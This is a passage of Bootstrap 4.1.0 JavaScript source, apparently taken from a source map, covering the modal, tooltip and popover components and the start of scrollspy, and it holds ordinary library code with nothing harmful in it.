{\n Util.reflow(this._element)\n }\n\n $(this._element).addClass(ClassName.SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget\n })\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n this._isTransitioning = false\n $(this._element).trigger(shownEvent)\n }\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._dialog)\n .one(Util.TRANSITION_END, transitionComplete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n $(document)\n .off(Event.FOCUSIN) // Guard against infinite focus loop\n .on(Event.FOCUSIN, (event) => {\n if (document !== event.target &&\n this._element !== event.target &&\n $(this._element).has(event.target).length === 0) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown && this._config.keyboard) {\n $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n if (event.which === ESCAPE_KEYCODE) {\n event.preventDefault()\n this.hide()\n }\n })\n } else if (!this._isShown) {\n $(this._element).off(Event.KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n } else {\n $(window).off(Event.RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._isTransitioning = false\n this._showBackdrop(() => {\n $(document.body).removeClass(ClassName.OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n $(this._element).trigger(Event.HIDDEN)\n })\n }\n\n _removeBackdrop() {\n if (this._backdrop) {\n $(this._backdrop).remove()\n this._backdrop = null\n }\n }\n\n _showBackdrop(callback) {\n const animate = $(this._element).hasClass(ClassName.FADE)\n ? ClassName.FADE : ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = ClassName.BACKDROP\n\n if (animate) {\n $(this._backdrop).addClass(animate)\n }\n\n $(this._backdrop).appendTo(document.body)\n\n $(this._element).on(Event.CLICK_DISMISS, (event) => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n if (event.target !== event.currentTarget) {\n return\n }\n if (this._config.backdrop === 'static') {\n this._element.focus()\n } else {\n this.hide()\n }\n })\n\n if (animate) {\n Util.reflow(this._backdrop)\n }\n\n $(this._backdrop).addClass(ClassName.SHOW)\n\n if (!callback) {\n return\n }\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callback)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n $(this._backdrop).removeClass(ClassName.SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n if (callback) {\n callback()\n }\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callbackRemove)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else if (callback) {\n callback()\n }\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n // Adjust fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const actualPadding = $(element)[0].style.paddingRight\n const calculatedPadding = $(element).css('padding-right')\n $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n })\n\n // Adjust sticky content margin\n $(Selector.STICKY_CONTENT).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n })\n\n // Adjust navbar-toggler margin\n $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n })\n\n // Adjust body padding\n const actualPadding = document.body.style.paddingRight\n const calculatedPadding = $(document.body).css('padding-right')\n $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n }\n }\n\n _resetScrollbar() {\n // Restore fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const padding = $(element).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(element).css('padding-right', padding).removeData('padding-right')\n }\n })\n\n // Restore sticky content and navbar-toggler margin\n $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n const margin = $(element).data('margin-right')\n if (typeof margin !== 'undefined') {\n $(element).css('margin-right', margin).removeData('margin-right')\n }\n })\n\n // Restore body padding\n const padding = $(document.body).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(document.body).css('padding-right', padding).removeData('padding-right')\n }\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = {\n ...Modal.Default,\n ...$(this).data(),\n ...typeof config === 'object' && config\n }\n\n if (!data) {\n data = new Modal(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config](relatedTarget)\n } else if (_config.show) {\n data.show(relatedTarget)\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n let target\n const selector = Util.getSelectorFromElement(this)\n\n if (selector) {\n target = $(selector)[0]\n }\n\n const config = $(target).data(DATA_KEY)\n ? 'toggle' : {\n ...$(target).data(),\n ...$(this).data()\n }\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n const $target = $(target).one(Event.SHOW, (showEvent) => {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return\n }\n\n $target.one(Event.HIDDEN, () => {\n if ($(this).is(':visible')) {\n this.focus()\n }\n })\n })\n\n Modal._jQueryInterface.call($(target), config, this)\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Modal._jQueryInterface\n $.fn[NAME].Constructor = Modal\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Modal._jQueryInterface\n }\n\n return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tooltip'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tooltip'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-tooltip'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const DefaultType = {\n animation : 'boolean',\n template : 'string',\n title : '(string|element|function)',\n trigger : 'string',\n delay : '(number|object)',\n html : 'boolean',\n selector : '(string|boolean)',\n placement : '(string|function)',\n offset : '(number|string)',\n container : '(string|element|boolean)',\n fallbackPlacement : '(string|array)',\n boundary : '(string|element)'\n }\n\n const AttachmentMap = {\n AUTO : 'auto',\n TOP : 'top',\n RIGHT : 'right',\n BOTTOM : 'bottom',\n LEFT : 'left'\n }\n\n const Default = {\n animation : true,\n template : '<div class=\"tooltip\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<div class=\"tooltip-inner\"></div></div>',\n trigger : 'hover focus',\n title : '',\n delay : 0,\n html : false,\n selector : false,\n placement : 'top',\n offset : 0,\n container : false,\n fallbackPlacement : 'flip',\n boundary : 'scrollParent'\n }\n\n const HoverState = {\n SHOW : 'show',\n OUT : 'out'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TOOLTIP : '.tooltip',\n TOOLTIP_INNER : '.tooltip-inner',\n ARROW : '.arrow'\n }\n\n const Trigger = {\n HOVER : 'hover',\n FOCUS : 'focus',\n CLICK : 'click',\n MANUAL : 'manual'\n }\n\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tooltip {\n constructor(element, config) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n }\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.element = element\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const dataKey = this.constructor.DATA_KEY\n let context = $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n $.removeData(this.element, this.constructor.DATA_KEY)\n\n $(this.element).off(this.constructor.EVENT_KEY)\n $(this.element).closest('.modal').off('hide.bs.modal')\n\n if (this.tip) {\n $(this.tip).remove()\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.element = null\n this.config = null\n this.tip = null\n }\n\n show() {\n if ($(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n const showEvent = $.Event(this.constructor.Event.SHOW)\n if (this.isWithContent() && this._isEnabled) {\n $(this.element).trigger(showEvent)\n\n const isInTheDom = $.contains(\n this.element.ownerDocument.documentElement,\n this.element\n )\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = Util.getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this.element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n $(tip).addClass(ClassName.FADE)\n }\n\n const placement = typeof this.config.placement === 'function'\n ? this.config.placement.call(this, tip, this.element)\n : this.config.placement\n\n const attachment = this._getAttachment(placement)\n this.addAttachmentClass(attachment)\n\n const container = this.config.container === false ? document.body : $(this.config.container)\n\n $(tip).data(this.constructor.DATA_KEY, this)\n\n if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $(tip).appendTo(container)\n }\n\n $(this.element).trigger(this.constructor.Event.INSERTED)\n\n this._popper = new Popper(this.element, tip, {\n placement: attachment,\n modifiers: {\n offset: {\n offset: this.config.offset\n },\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: Selector.ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: (data) => {\n if (data.originalPlacement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n },\n onUpdate: (data) => {\n this._handlePopperPlacementChange(data)\n }\n })\n\n $(tip).addClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n const complete = () => {\n if (this.config.animation) {\n this._fixTransition()\n }\n const prevHoverState = this._hoverState\n this._hoverState = null\n\n $(this.element).trigger(this.constructor.Event.SHOWN)\n\n if (prevHoverState === HoverState.OUT) {\n this._leave(null, this)\n }\n }\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n $(this.tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n }\n\n hide(callback) {\n const tip = this.getTipElement()\n const hideEvent = $.Event(this.constructor.Event.HIDE)\n const complete = () => {\n if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this.element.removeAttribute('aria-describedby')\n $(this.element).trigger(this.constructor.Event.HIDDEN)\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n if (callback) {\n callback()\n }\n }\n\n $(this.element).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n $(tip).removeClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n this._activeTrigger[Trigger.CLICK] = false\n this._activeTrigger[Trigger.FOCUS] = false\n this._activeTrigger[Trigger.HOVER] = false\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n $(tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n setElementContent($element, content) {\n const html = this.config.html\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (html) {\n if (!$(content).parent().is($element)) {\n $element.empty().append(content)\n }\n } else {\n $element.text($(content).text())\n }\n } else {\n $element[html ? 'html' : 'text'](content)\n }\n }\n\n getTitle() {\n let title = this.element.getAttribute('data-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function'\n ? this.config.title.call(this.element)\n : this.config.title\n }\n\n return title\n }\n\n // Private\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach((trigger) => {\n if (trigger === 'click') {\n $(this.element).on(\n this.constructor.Event.CLICK,\n this.config.selector,\n (event) => this.toggle(event)\n )\n } else if (trigger !== Trigger.MANUAL) {\n const eventIn = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSEENTER\n : this.constructor.Event.FOCUSIN\n const eventOut = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSELEAVE\n : this.constructor.Event.FOCUSOUT\n\n $(this.element)\n .on(\n eventIn,\n this.config.selector,\n (event) => this._enter(event)\n )\n .on(\n eventOut,\n this.config.selector,\n (event) => this._leave(event)\n )\n }\n\n $(this.element).closest('.modal').on(\n 'hide.bs.modal',\n () => this.hide()\n )\n })\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const titleType = typeof this.element.getAttribute('data-original-title')\n if (this.element.getAttribute('title') ||\n titleType !== 'string') {\n this.element.setAttribute(\n 'data-original-title',\n this.element.getAttribute('title') || ''\n )\n this.element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n ] = true\n }\n\n if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n context._hoverState === HoverState.SHOW) {\n context._hoverState = HoverState.SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this.element).data(),\n ...config\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n _handlePopperPlacementChange(data) {\n this._cleanTipClass()\n this.addAttachmentClass(this._getAttachment(data.placement))\n }\n\n _fixTransition() {\n const tip = this.getTipElement()\n const initConfigAnimation = this.config.animation\n if (tip.getAttribute('x-placement') !== null) {\n return\n }\n $(tip).removeClass(ClassName.FADE)\n this.config.animation = false\n this.hide()\n this.show()\n this.config.animation = initConfigAnimation\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tooltip._jQueryInterface\n $.fn[NAME].Constructor = Tooltip\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tooltip._jQueryInterface\n }\n\n return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'popover'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.popover'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-popover'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const Default = {\n ...Tooltip.Default,\n placement : 'right',\n trigger : 'click',\n content : '',\n template : '<div class=\"popover\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<h3 class=\"popover-header\"></h3>' +\n '<div class=\"popover-body\"></div></div>'\n }\n\n const DefaultType = {\n ...Tooltip.DefaultType,\n content : '(string|element|function)'\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TITLE : '.popover-header',\n CONTENT : '.popover-body'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Popover extends Tooltip {\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n\n // We use append for html objects to maintain js events\n this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this.element)\n }\n this.setElementContent($tip.find(Selector.CONTENT), content)\n\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n // Private\n\n _getContent() {\n return this.element.getAttribute('data-content') ||\n this.config.content\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /destroy|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Popover._jQueryInterface\n $.fn[NAME].Constructor = Popover\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Popover._jQueryInterface\n }\n\n return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'scrollspy'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.scrollspy'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n offset : 10,\n method : 'auto',\n target : ''\n }\n\n const DefaultType = {\n offset : 'number',\n method : 'string',\n target : '(string|element)'\n }\n\n const Event = {\n ACTIVATE : `activate${EVENT_KEY}`,\n SCROLL : `scroll${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_ITEM : 'dropdown-item',\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active'\n }\n\n const Selector = {\n DATA_SPY : '[data-spy=\"scroll\"]',\n ACTIVE : '.active',\n NAV_LIST_GROUP : '.nav, .list-group',\n NAV_LINKS : '.nav-link',\n NAV_ITEMS : '.nav-item',\n LIST_ITEMS : '.list-group-item',\n DROPDOWN : '.dropdown',\n DROPDOWN_ITEMS : '.dropdown-item',\n DROPDOWN_TOGGLE : '.dropdown-toggle'\n }\n\n const OffsetMethod = {\n OFFSET : 'offset',\n POSITION : 'position'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class ScrollSpy {\n constructor(element, config) {\n this._element = element\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${Selector.NAV_LINKS},` +\n `${this._config.target} ${Selector.LIST_ITEMS},` +\n `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window\n ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n const offsetMethod = this._config.method === 'auto'\n ? autoMethod : this._config.method\n\n const offsetBase = offsetMethod === OffsetMethod.POSITION\n ? this._getScrollTop() : 0\n\n this._offsets = []\n this._targets = []\n\n this._scrollHeight = this._getScrollHeight()\n\n const targets = $.makeArray($(this._selector))\n\n targets\n .map((element) => {\n let target\n const targetSelector = Util.getSelectorFromElement(element)\n\n if (targetSelector) {\n target = $(targetSelector)[0]\n }\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [\n $(target)[offsetMethod]().top + offsetBase,\n targetSelector\n ]\n }\n }\n return null\n })\n .filter((item) => item)\n .sort((a, b) => a[0] - b[0])\n .forEach((item) => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n 